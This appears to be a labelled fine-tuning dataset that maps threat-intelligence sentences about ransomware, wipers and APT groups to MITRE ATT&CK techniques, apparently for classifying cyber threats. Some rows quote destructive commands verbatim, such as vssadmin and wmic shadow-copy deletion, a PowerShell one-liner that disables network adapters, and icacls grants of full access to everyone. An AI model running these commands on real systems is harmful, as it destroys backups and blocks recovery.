Carbanak used legitimate programs such as AmmyyAdmin and Team Viewer for remote interactive C2 to target systems.,['T1219 - Remote Access Software'],fine_tune
Dridex contains a module for VNC.,['T1219 - Remote Access Software'],fine_tune
"During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network.",['T1219 - Remote Access Software'],fine_tune
"During Night Dragon, threat actors used several remote administration tools as persistent infiltration channels.",['T1219 - Remote Access Software'],fine_tune
Egregor has checked for the LogMein event log in an attempt to encrypt files in remote machines.,['T1219 - Remote Access Software'],fine_tune
Hildegard has established tmate sessions for C2 communications.,['T1219 - Remote Access Software'],fine_tune
"MuddyWater has used a legitimate application, ScreenConnect, to manage systems remotely and move laterally.",['T1219 - Remote Access Software'],fine_tune
Mustang Panda has installed TeamViewer on targeted systems.,['T1219 - Remote Access Software'],fine_tune
Night Dragon has used several remote administration tools as persistent infiltration channels.,['T1219 - Remote Access Software'],fine_tune
RTM has the capability to download a VNC module from command and control (C2).,['T1219 - Remote Access Software'],fine_tune
Sandworm Team has used remote administration tools or remote industrial control system client software to maliciously release electricity breakers.,['T1219 - Remote Access Software'],fine_tune
TeamTNT has established tmate sessions for C2 communications.,['T1219 - Remote Access Software'],fine_tune
Thrip used a cloud-based remote access software called LogMeIn for their attacks.,['T1219 - Remote Access Software'],fine_tune
Astaroth executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain.,['T1220 - XSL Script Processing'],fine_tune
Higaisa used an XSL file to run VBScript code.,['T1220 - XSL Script Processing'],fine_tune
Lazarus Group has used WMIC to execute a remote XSL script to establish persistence.,['T1220 - XSL Script Processing'],fine_tune
APT28 used weaponized Microsoft Word documents abusing the remote template function to retrieve a malicious macro.,['T1221 - Template Injection'],fine_tune
Chaes changed the template target of the settings.xml file embedded in the Word document and populated that field with the downloaded URL of the next payload.,['T1221 - Template Injection'],fine_tune
"DarkHydrus used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable Forced Authentication.",['T1221 - Template Injection'],fine_tune
Dragonfly 2.0 has injected SMB URLs into malicious Word spearphishing attachments to initiate Forced Authentication.,['T1221 - Template Injection'],fine_tune
Dragonfly has injected SMB URLs into malicious Word spearphishing attachments to initiate Forced Authentication.,['T1221 - Template Injection'],fine_tune
"During Frankenstein, the threat actors used trojanized documents that retrieved remote templates from an adversary-controlled website.",['T1221 - Template Injection'],fine_tune
Frankenstein has used trojanized documents that retrieve remote templates from an adversary-controlled website.,['T1221 - Template Injection'],fine_tune
Gamaredon Group has used DOCX files to download malicious DOT document templates and has used RTF template injection to download malicious payloads. Gamaredon Group can also inject malicious macros or remote templates into documents already present on compromised systems.,['T1221 - Template Injection'],fine_tune
"Tropic Trooper delivered malicious documents with the XLSX extension, typically used by OpenXML documents, but the file itself was actually an OLE (XLS) document.",['T1221 - Template Injection'],fine_tune
WarzoneRAT has been install via template injection through a malicious DLL embedded within a template RTF in a Word document.,['T1221 - Template Injection'],fine_tune
"BitPaymer can use ""icacls /reset"" and ""takeown /F"" to reset a targeted executable's permissions and then take ownership.",['T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification'],fine_tune
Grandoreiro can modify the binary ACL to prevent security tools from running.,['T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification'],fine_tune
"WannaCry uses ""attrib +h"" and ""icacls . /grant Everyone:F /T /C /Q"" to make some of its files hidden and grant all users full access controls.",['T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification'],fine_tune
"WastedLocker has a command to take ownership of a file and reset the ACL permissions using the ""takeown.exe /F filepath"" command.",['T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification'],fine_tune
"Wizard Spider has used the icacls command to modify access control to backup servers, providing them with full control of all the system folders.",['T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification'],fine_tune
"Bundlore changes the permissions of a payload using the command ""chmod -R 755"".","['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
"Dok gives all users execute permissions for the application using the command ""chmod +x /Users/Shared/AppStore.app"".","['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
Kinsing has used chmod to modify permissions on key files for use.,"['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
"OSX/Shlayer can use the ""chmod"" utility to set a file as executable, such as ""chmod 777"" or ""chmod +x"".","['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
"OSX_OCEANLOTUS.D has changed permissions of a second-stage payload to an executable via ""chmod"".","['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
P.A.S. Webshell has the ability to modify file permissions.,"['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
Penquin can add the executable flag to a downloaded file.,"['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
Rocke has changed file permissions of files so they could not be modified.,"['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
"TeamTNT has modified the permissions on binaries with ""chattr"".","['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
Anchor can terminate itself if specific execution flags are not present.,['T1480 - Execution Guardrails'],fine_tune
BitPaymer compares file names and paths to a list of excluded names and directory names during encryption.,['T1480 - Execution Guardrails'],fine_tune
"EnvyScout can call ""window.location.pathname"" to ensure that embedded files are being executed from the C: drive, and will terminate if they are not.",['T1480 - Execution Guardrails'],fine_tune
SUNSPOT only replaces SolarWinds Orion source code if the MD5 checksums of both the original source code file and backdoored replacement source code match hardcoded values.,['T1480 - Execution Guardrails'],fine_tune
Small Sieve can only execute correctly if the word `Platypus` is passed to it on the command line.,['T1480 - Execution Guardrails'],fine_tune
"Stuxnet checks for specific operating systems on 32-bit machines, Registry keys, and dates for vulnerabilities, and will exit execution if the values are not met.",['T1480 - Execution Guardrails'],fine_tune
Torisma is only delivered to a compromised host if the victim's IP address is on an allow-list.,['T1480 - Execution Guardrails'],fine_tune
VaporRage has the ability to check for the presence of a specific DLL and terminate if it is not found.,['T1480 - Execution Guardrails'],fine_tune
"APT41 has encrypted payloads using the Data Protection API (DPAPI), which relies on keys tied to specific user accounts on specific machines. APT41 has also environmentally keyed second stage malware with an RC5 key derived in part from the infected system's volume serial number.",['T1480.001 - Environmental Keying'],fine_tune
Equation has been observed utilizing environmental keying in payload delivery.,['T1480.001 - Environmental Keying'],fine_tune
ROKRAT relies on a specific victim hostname to execute and decrypt important strings.,['T1480.001 - Environmental Keying'],fine_tune
The Winnti for Windows dropper component can verify the existence of a single command line parameter and either terminate if it is not found or later use it as a decryption key.,['T1480.001 - Environmental Keying'],fine_tune
Bazar can use Nltest tools to obtain information about the domain.,['T1482 - Domain Trust Discovery'],fine_tune
"During C0015, the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts.",['T1482 - Domain Trust Discovery'],fine_tune
Earth Lusca has used Nltest to obtain information about domain controllers.,['T1482 - Domain Trust Discovery'],fine_tune
"FIN8 has retrieved a list of trusted domains by using ""Nltest.exe /domain_trusts"".",['T1482 - Domain Trust Discovery'],fine_tune
"Nltest may be used to enumerate trusted domains by using commands such as ""nltest /domain_trusts"".",['T1482 - Domain Trust Discovery'],fine_tune
PoshC2 has modules for enumerating domain trusts.,['T1482 - Domain Trust Discovery'],fine_tune
"PowerSploit has modules such as ""Get-NetDomainTrust"" and ""Get-NetForestTrust"" to enumerate domain and forest trusts.",['T1482 - Domain Trust Discovery'],fine_tune
"QakBot can run ""nltest /domain_trusts /all_trusts"" for domain trust discovery.",['T1482 - Domain Trust Discovery'],fine_tune
TrickBot can gather information about domain trusts by utilizing Nltest.,['T1482 - Domain Trust Discovery'],fine_tune
"UNC2452 used the ""Get-AcceptedDomain"" PowerShell cmdlet to enumerate accepted domains through an Exchange Management Shell. They also used AdFind to enumerate domains and to discover trust between federated domains.",['T1482 - Domain Trust Discovery'],fine_tune
"dsquery can be used to gather information on domain trusts with ""dsquery * -filter ""(objectClass=trustedDomain)"" -attr *"".",['T1482 - Domain Trust Discovery'],fine_tune
"Empire can use ""New-GPOImmediateTask"" to modify a GPO that will install and execute a malicious Scheduled Task/Job.",['T1484.001 - Domain Policy Modification: Group Policy Modification'],fine_tune
HermeticWiper has the ability to deploy through an infected system's default domain policy.,['T1484.001 - Domain Policy Modification: Group Policy Modification'],fine_tune
AADInternals can create a backdoor by converting a domain to a federated domain which will be able to authenticate any user across the tenant. AADInternals can also modify DesktopSSO information.,['T1484.002 - Domain Trust Modification'],fine_tune
APT38 has used a custom secure delete function to make deleted files unrecoverable.,['T1485 - Data Destruction'],fine_tune
"BlackEnergy 2 contains a ""Destroy"" plug-in that destroys data stored on victim hard drives by overwriting file contents.",['T1485 - Data Destruction'],fine_tune
CaddyWiper can work alphabetically through drives on a compromised system to take ownership of and overwrite all files.,['T1485 - Data Destruction'],fine_tune
"HermeticWiper can recursively wipe folders and files in `Windows`, `Program Files`, `Program Files(x86)`, `PerfLogs`, `Boot, System`, `Volume Information`, and `AppData` folders using `FSCTL_MOVE_FILE`. HermeticWiper can also overwrite symbolic links and big files in `My Documents` and on the Desktop with random bytes.",['T1485 - Data Destruction'],fine_tune
Industroyer’s data wiper module clears registry keys and overwrites both ICS configuration and Windows files.,['T1485 - Data Destruction'],fine_tune
Kazuar can overwrite files with random data before deleting them.,['T1485 - Data Destruction'],fine_tune
Meteor can fill a victim's files and directories with zero-bytes in replacement of real content before deleting them.,['T1485 - Data Destruction'],fine_tune
Olympic Destroyer overwrites files locally and on remote shares.,['T1485 - Data Destruction'],fine_tune
REvil has the capability to destroy files and folders.,['T1485 - Data Destruction'],fine_tune
RawDisk was used in Shamoon to write to protected system locations such as the MBR and disk partitions in an effort to destroy data.,['T1485 - Data Destruction'],fine_tune
Sandworm Team has used the BlackEnergy KillDisk component to overwrite files on Windows-based Human-Machine Interfaces.,['T1485 - Data Destruction'],fine_tune
"Shamoon attempts to overwrite operating system files and disk structures with image files. In a later variant, randomly generated data was used for data overwrites.",['T1485 - Data Destruction'],fine_tune
APT38 has used Hermes ransomware to encrypt files with AES256.,['T1486 - Data Encrypted for Impact'],fine_tune
Avaddon encrypts the victim system using a combination of AES256 and RSA encryption schemes.,['T1486 - Data Encrypted for Impact'],fine_tune
"BitPaymer can import a hard-coded RSA 1024-bit public key, generate a 128-bit RC4 key for each file, and encrypt the file in place, appending "".locked"" to the filename.",['T1486 - Data Encrypted for Impact'],fine_tune
"Clop can encrypt files using AES, RSA, and RC4 and will add the "".clop"" extension to encrypted files.",['T1486 - Data Encrypted for Impact'],fine_tune
"Conti can use ""CreateIoCompletionPort()"", ""PostQueuedCompletionStatus()"", and ""GetQueuedCompletionPort()"" to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. Conti can use “Windows Restart Manager” to ensure files are unlocked and open for encryption.",['T1486 - Data Encrypted for Impact'],fine_tune
"Cuba has the ability to encrypt system data and add the "".cuba"" extension to encrypted files.",['T1486 - Data Encrypted for Impact'],fine_tune
DEATHRANSOM can use public and private key pair encryption to encrypt files for ransom payment.,['T1486 - Data Encrypted for Impact'],fine_tune
"Diavol has encrypted files using an RSA key though the `CryptEncrypt` API and has appended filenames with "".lock64"".",['T1486 - Data Encrypted for Impact'],fine_tune
EKANS uses standard encryption library functions to encrypt files.,['T1486 - Data Encrypted for Impact'],fine_tune
Egregor can encrypt all non-system files using a hybrid AES-RSA algorithm prior to displaying a ransom note.,['T1486 - Data Encrypted for Impact'],fine_tune
HELLOKITTY can use an embedded RSA-2048 public key to encrypt victim data for ransom.,['T1486 - Data Encrypted for Impact'],fine_tune
Indrik Spider has encrypted domain-controlled systems using BitPaymer.,['T1486 - Data Encrypted for Impact'],fine_tune
JCry has encrypted files and demanded Bitcoin to decrypt those files.,['T1486 - Data Encrypted for Impact'],fine_tune
"LockerGoga has encrypted files, including core Windows OS files, using RSA-OAEP MGF1 and then demanded Bitcoin be paid for the decryption key.",['T1486 - Data Encrypted for Impact'],fine_tune
"Maze has disrupted systems by encrypting files on targeted machines, claiming to decrypt files if a ransom payment is made. Maze has used the ChaCha algorithm, based on Salsa20, and an RSA algorithm to encrypt files.",['T1486 - Data Encrypted for Impact'],fine_tune
"MegaCortex has used the open-source library, Mbed Crypto, and generated AES keys to carry out the file encryption process.",['T1486 - Data Encrypted for Impact'],fine_tune
Netwalker can encrypt files on infected machines to extort victims.,['T1486 - Data Encrypted for Impact'],fine_tune
Pay2Key can encrypt data on victim's machines using RSA and AES algorithms in order to extort a ransom payment for decryption.,['T1486 - Data Encrypted for Impact'],fine_tune
REvil can encrypt files on victim systems and demands a ransom to decrypt the files.,['T1486 - Data Encrypted for Impact'],fine_tune
RobbinHood will search for an RSA encryption key and then perform its encryption process on the system files.,['T1486 - Data Encrypted for Impact'],fine_tune
Ryuk has used a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Files have been encrypted with their own AES key and given a file extension of .RYK. Encrypted directories have had a ransom note of RyukReadMe.txt written to the directory.,['T1486 - Data Encrypted for Impact'],fine_tune
SamSam encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files.,['T1486 - Data Encrypted for Impact'],fine_tune
Shamoon has an operational mode for encrypting data instead of overwriting it.,['T1486 - Data Encrypted for Impact'],fine_tune
SynAck encrypts the victims machine followed by asking the victim to pay a ransom.,['T1486 - Data Encrypted for Impact'],fine_tune
"TA505 has used a wide variety of ransomware, such as Clop, Locky, Jaff, Bart, Philadelphia, and GlobeImposter, to encrypt victim files and demand a ransom payment.",['T1486 - Data Encrypted for Impact'],fine_tune
"ThiefQuest encrypts a set of file extensions on a host, deletes the original files, and provides a ransom note with no contact information.",['T1486 - Data Encrypted for Impact'],fine_tune
WannaCry encrypts user files and demands that a ransom be paid in Bitcoin to decrypt those files.,['T1486 - Data Encrypted for Impact'],fine_tune
"XCSSET performs AES-CBC encryption on files under ""~/Documents"", ""~/Downloads"", and
""~/Desktop"" with a fixed key and renames files to give them a "".enc"" extension. Only files with sizes 
less than 500MB are encrypted.",['T1486 - Data Encrypted for Impact'],fine_tune
Xbash has maliciously encrypted victim's database systems and demanded a cryptocurrency ransom be paid.,['T1486 - Data Encrypted for Impact'],fine_tune
Babuk can stop specific services related to backups.,['T1489 - Service Stop'],fine_tune
"Conti can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of ""net stop"".",['T1489 - Service Stop'],fine_tune
Diavol will terminate services using the Service Control Manager (SCM) API.,['T1489 - Service Stop'],fine_tune
Indrik Spider has used PsExec to stop services prior to the execution of ransomware.,['T1489 - Service Stop'],fine_tune
"Industroyer’s data wiper module writes zeros into the registry keys in ""SYSTEM\CurrentControlSet\Services"" to render a system inoperable.",['T1489 - Service Stop'],fine_tune
Lazarus Group has stopped the MSExchangeIS service to render Exchange contents inaccessible to users.,['T1489 - Service Stop'],fine_tune
LookBack can kill processes and delete services.,['T1489 - Service Stop'],fine_tune
Maze has stopped SQL services to ensure it can encrypt any database.,['T1489 - Service Stop'],fine_tune
MegaCortex can stop and disable services on the system.,['T1489 - Service Stop'],fine_tune
"Meteor can disconnect all network adapters on a compromised host using `powershell -Command ""Get-WmiObject -class Win32_NetworkAdapter | ForEach { If ($.NetEnabled) { $.Disable() } }"" > NUL`.",['T1489 - Service Stop'],fine_tune
"Netwalker can terminate system processes and services, some of which relate to backup software.",['T1489 - Service Stop'],fine_tune
"Olympic Destroyer uses the API call ""ChangeServiceConfigW"" to disable all services on the affected system.",['T1489 - Service Stop'],fine_tune
Pay2Key can stop the MS SQL service at the end of the encryption process to release files locked by the service.,['T1489 - Service Stop'],fine_tune
REvil has the capability to stop services and kill processes.,['T1489 - Service Stop'],fine_tune
Ragnar Locker has attempted to stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted.,['T1489 - Service Stop'],fine_tune
RobbinHood stops 181 Windows services on the system before beginning the encryption process.,['T1489 - Service Stop'],fine_tune
"WannaCry attempts to kill processes associated with Exchange, Microsoft SQL Server, and MySQL to make it possible to encrypt their data stores.",['T1489 - Service Stop'],fine_tune
"Wizard Spider has used taskkill.exe and net.exe to stop backup, catalog, cloud, and other services prior to network encryption.",['T1489 - Service Stop'],fine_tune
Avaddon deletes backups and shadow copies using native system tools.,['T1490 - Inhibit System Recovery'],fine_tune
"Babuk has the ability to delete shadow volumes using ""vssadmin.exe delete shadows /all /quiet"".",['T1490 - Inhibit System Recovery'],fine_tune
"Conti can delete Windows Volume Shadow Copies using ""vssadmin"".",['T1490 - Inhibit System Recovery'],fine_tune
DEATHRANSOM can delete volume shadow copies on compromised hosts.,['T1490 - Inhibit System Recovery'],fine_tune
"DarkWatchman can delete shadow volumes using ""vssadmin.exe"".",['T1490 - Inhibit System Recovery'],fine_tune
EKANS removes backups of Volume Shadow Copies to disable any restoration capabilities.,['T1490 - Inhibit System Recovery'],fine_tune
HELLOKITTY can delete volume shadow copies on compromised hosts.,['T1490 - Inhibit System Recovery'],fine_tune
InvisiMole can can remove all system restore points.,['T1490 - Inhibit System Recovery'],fine_tune
JCry has been observed deleting shadow copies to ensure that data cannot be restored easily.,['T1490 - Inhibit System Recovery'],fine_tune
Meteor can use `bcdedit` to delete different boot identifiers on a compromised host; it can also use `vssadmin.exe delete shadows /all /quiet` and `C:\\Windows\\system32\\wbem\\wmic.exe shadowcopy delete`.,['T1490 - Inhibit System Recovery'],fine_tune
Netwalker can delete the infected system's Shadow Volumes to prevent recovery.,['T1490 - Inhibit System Recovery'],fine_tune
ProLock can use vssadmin.exe to remove volume shadow copies.,['T1490 - Inhibit System Recovery'],fine_tune
Pysa has the functionality to delete shadow copies.,['T1490 - Inhibit System Recovery'],fine_tune
RobbinHood deletes shadow copies to ensure that all the data cannot be restored easily.,['T1490 - Inhibit System Recovery'],fine_tune
"Ryuk has used ""vssadmin Delete Shadows /all /quiet"" to to delete volume shadow copies and ""vssadmin resize shadowstorage"" to force deletion of shadow copies created by third-party applications.",['T1490 - Inhibit System Recovery'],fine_tune
"WannaCry uses ""vssadmin"", ""wbadmin"", ""bcdedit"", and ""wmic"" to delete and disable operating system recovery features.",['T1490 - Inhibit System Recovery'],fine_tune
WastedLocker can delete shadow volumes.,['T1490 - Inhibit System Recovery'],fine_tune
"After encryption, Diavol will capture the desktop background window, set the background color to black, and change the desktop wallpaper to a newly created bitmap image with the text “All your files are encrypted! For more information see “README-FOR-DECRYPT.txt"".",['T1491.001 - Defacement: Internal Defacement'],fine_tune
Gamaredon Group has left taunting images and messages on the victims' desktops as proof of system access.,['T1491.001 - Defacement: Internal Defacement'],fine_tune
"Sandworm Team defaced approximately 15,000 websites belonging to Georgian government, non-government, and private sector organizations in 2019.",['T1491.002 - External Defacement'],fine_tune
Bad Rabbit has used an executable that installs a modified bootloader to prevent normal boot-up.,['T1495 - Firmware Corruption'],fine_tune
APT41 deployed a Monero cryptocurrency mining tool in a victim’s environment.,['T1496 - Resource Hijacking'],fine_tune
CookieMiner has loaded coinmining software onto systems to mine for Koto cryptocurrency.,['T1496 - Resource Hijacking'],fine_tune
Hildegard has used xmrig to mine cryptocurrency.,['T1496 - Resource Hijacking'],fine_tune
Imminent Monitor has the capability to run a cryptocurrency miner on the victim machine.,['T1496 - Resource Hijacking'],fine_tune
Kinsing has created and run a Bitcoin cryptocurrency miner.,['T1496 - Resource Hijacking'],fine_tune
Lazarus Group has subset groups like Bluenoroff who have used cryptocurrency mining software on victim machines.,['T1496 - Resource Hijacking'],fine_tune
"LoudMiner harvested system resources to mine cryptocurrency, using XMRig to mine Monero.",['T1496 - Resource Hijacking'],fine_tune
"Lucifer can use system resources to mine cryptocurrency, dropping XMRig to mine Monero.",['T1496 - Resource Hijacking'],fine_tune
Rocke has distributed cryptomining malware.,['T1496 - Resource Hijacking'],fine_tune
Skidmap is a kernel-mode rootkit used for cryptocurrency mining.,['T1496 - Resource Hijacking'],fine_tune
"TeamTNT has deployed XMRig Docker images to mine cryptocurrency. TeamTNT has also infected Docker containers and Kubernetes clusters with XMRig, and used RainbowMiner and lolMiner for mining cryptocurrency.",['T1496 - Resource Hijacking'],fine_tune
Agent Tesla has he ability to perform anti-sandboxing and anti-virtualization checks.,['T1497 - Virtualization/Sandbox Evasion'],fine_tune
Bumblebee has the ability to perform anti-virtualization checks.,['T1497 - Virtualization/Sandbox Evasion'],fine_tune
CHOPSTICK  includes runtime checks to identify an analysis environment and prevent execution on it.,['T1497 - Virtualization/Sandbox Evasion'],fine_tune
Carberp has removed various hooks before installing the trojan or bootkit to evade sandbox analysis or other analysis software.,['T1497 - Virtualization/Sandbox Evasion'],fine_tune
Darkhotel malware has employed just-in-time decryption of strings to evade sandbox detection.,['T1497 - Virtualization/Sandbox Evasion'],fine_tune
"During Operation Spalax, the threat actors used droppers that would run anti-analysis checks before executing malware on a compromised host.",['T1497 - Virtualization/Sandbox Evasion'],fine_tune
Gelsemium can use junk code to generate random activity to obscure malware behavior.,['T1497 - Virtualization/Sandbox Evasion'],fine_tune
HAWKBALL has methods to check if the process the malware uses is being debugged.,['T1497 - Virtualization/Sandbox Evasion'],fine_tune
Kevin can sleep for a time interval between C2 communication attempts.,['T1497 - Virtualization/Sandbox Evasion'],fine_tune
"Lucifer can crash a debugger by passing a format string to ""OutputDebugStringA()"".",['T1497 - Virtualization/Sandbox Evasion'],fine_tune
"Metamorfo has embedded a ""vmdetect.exe"" executable to identify virtual machines at the beginning of execution.",['T1497 - Virtualization/Sandbox Evasion'],fine_tune
Pteranodon has the ability to use anti-detection functions to identify sandbox environments.,['T1497 - Virtualization/Sandbox Evasion'],fine_tune
"Some versions of CozyCar will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit.",['T1497 - Virtualization/Sandbox Evasion'],fine_tune
The White Company has performed anti-analysis checks to determine if its malware was in a debugging environment.,['T1497 - Virtualization/Sandbox Evasion'],fine_tune
"Attor can detect whether it is executed in some virtualized or emulated environment by searching for specific artifacts, such as communication with I/O ports and using VM-specific instructions.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"BadPatch attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard information.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
Bumblebee has the ability to search for designated file paths and Registry keys that indicate a virtualized environment from multiple products.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"Darkhotel malware has used a series of checks to determine if it's being analyzed; checks include the length of executable names, if a filename ends with "".Md5.exe"", and if the program is executed from the root of the C:\ drive, as well as checks for sandbox-related libraries.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"Denis ran multiple system checks, looking for processor and register characteristics, to evade emulation and analysis.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"During Frankenstein, the threat actors used a script that ran WMI queries to check if a VM or sandbox was running, including VMWare and Virtualbox. The script would also call WMI to determine the number of cores allocated to the system; if less than two the script would stop execution.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
Dyre can detect sandbox analysis environments by inspecting the process list and Registry.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
EvilBunny's dropper has checked the number of processes and the length and strings of its own file name to identify if the malware is in a sandbox environment.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
Evilnum has used a component called TerraLoader to check certain hardware and file information to detect sandboxed environments.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"Ferocious can run anti-sandbox checks using the Microsoft Excel 4.0 function ""GET.WORKSPACE"" to determine the OS version, if there is a mouse present, and if the host is capable of playing sounds.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
FinFisher obtains the hardware device list and checks if the MD5 of the vendor ID is equal to a predefined list in order to check for sandbox/virtualized environments.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"Frankenstein has used WMI queries to check if various security applications were running, including VMWare and Virtualbox.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"GoldMax will check if it is being run in a virtualized environment by comparing the collected MAC address to ""c8:27:cc:c2:37:5a"".",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"Grandoreiro can detect VMWare via its I/O port and Virtual PC via the ""vpcext"" instruction.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"GuLoader has the ability to perform anti-VM and anti-sandbox checks using string hashing, the API call ""EnumWindows"", and checking for Qemu guest agent.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"InvisiMole can check for artifacts of VirtualBox, Virtual PC and VMware environment, and terminate itself if they are detected.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
Lazarus Group has used tools to detect sandbox or VMware services through identifying the presence of a debugger or related services.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"Lucifer can check for specific usernames, computer names, device drivers, DLL's, and virtual devices associated with sandboxed environments and can enter an infinite loop and stop itself if any are detected.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
MegaCortex has checked the number of CPUs in the system to avoid being run in a sandbox or emulator.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
NativeZone has checked if Vmware or VirtualBox VM is running on a compromised host.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"OSX_OCEANLOTUS.D has variants that check a number of system parameters to see if it is being run on real hardware or in a virtual machine environment, such as ""sysctl hw.model"".",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
OilRig has used macros to verify if a mouse is connected to a compromised machine.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
Okrum's loader can check the amount of physical memory and terminates itself if the host has less than 1.5 Gigabytes of physical memory in total.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"PlugX checks if VMware tools is running in the background by searching for any process named ""vmtoolsd"".",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"PoetRAT checked the size of the hard drive to determine if it was being run in a sandbox environment. In the event of sandbox detection, it would delete itself by overwriting the malware scripts with the contents of ""License.txt"" and exiting.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
Pupy has a module that checks a number of indicators on the system to determine if its running on a virtual machine.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
QakBot can check the compromised host for the presence of multiple executables associated with analysis tools and halt execution if any are found.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
ROKRAT can check for VMware-related files and DLLs related to sandboxes.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
Remcos searches for Sandboxie and VMware on the system.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
Smoke Loader scans processes to perform anti-VM checks.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"UBoatRAT checks for virtualization software such as VMWare, VirtualBox, or QEmu on the compromised machine.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
WastedLocker checked if UCOMIEnumConnections and IActiveScriptParseProcedure32 Registry keys were detected as part of its anti-analysis technique.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
WhisperGate can stop its execution when it recognizes the presence of certain monitoring tools.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
macOS.OSAMiner can parse the output of the native `system_profiler` tool to determine if the machine is running with 4 cores.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"yty has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
Darkhotel has used malware that repeatedly checks the mouse cursor position to determine if a real user is on the system.,['T1497.002 - User Activity Based Checks'],fine_tune
FIN7 used images embedded into document lures that only activate the payload when a user double clicks to avoid sandboxes.,['T1497.002 - User Activity Based Checks'],fine_tune
"Okrum loader only executes the payload after the left mouse button has been pressed at least three times, in order to avoid being executed within virtualized or emulated environments.",['T1497.002 - User Activity Based Checks'],fine_tune
"After initial installation, Raindrop runs a computation to delay execution.",['T1497.003 - Time Based Evasion'],fine_tune
AppleJeus has waited a specified time before downloading a second stage payload.,['T1497.003 - Time Based Evasion'],fine_tune
BADFLICK has delayed communication to the actor-controlled IP address by 5 minutes.,['T1497.003 - Time Based Evasion'],fine_tune
Bazar can use a timer to delay execution of core functionality.,['T1497.003 - Time Based Evasion'],fine_tune
"BendyBear can check for analysis environments and signs of debugging using the Windows API ""kernel32!GetTickCountKernel32"" call.",['T1497.003 - Time Based Evasion'],fine_tune
Bisonal has checked if the malware is running in a virtual environment with the anti-debug function GetTickCount() to compare the timing.,['T1497.003 - Time Based Evasion'],fine_tune
Clambling can wait 30 minutes before initiating contact with C2.,['T1497.003 - Time Based Evasion'],fine_tune
Crimson can determine when it has been installed on a host for at least 15 days before downloading the final payload.,['T1497.003 - Time Based Evasion'],fine_tune
Egregor can perform a  long sleep (greater than or equal to 3 minutes) to evade detection.,['T1497.003 - Time Based Evasion'],fine_tune
FatDuke can turn itself on or off at random intervals.,['T1497.003 - Time Based Evasion'],fine_tune
GrimAgent can sleep for 195 - 205 seconds after payload execution and before deleting its task.,['T1497.003 - Time Based Evasion'],fine_tune
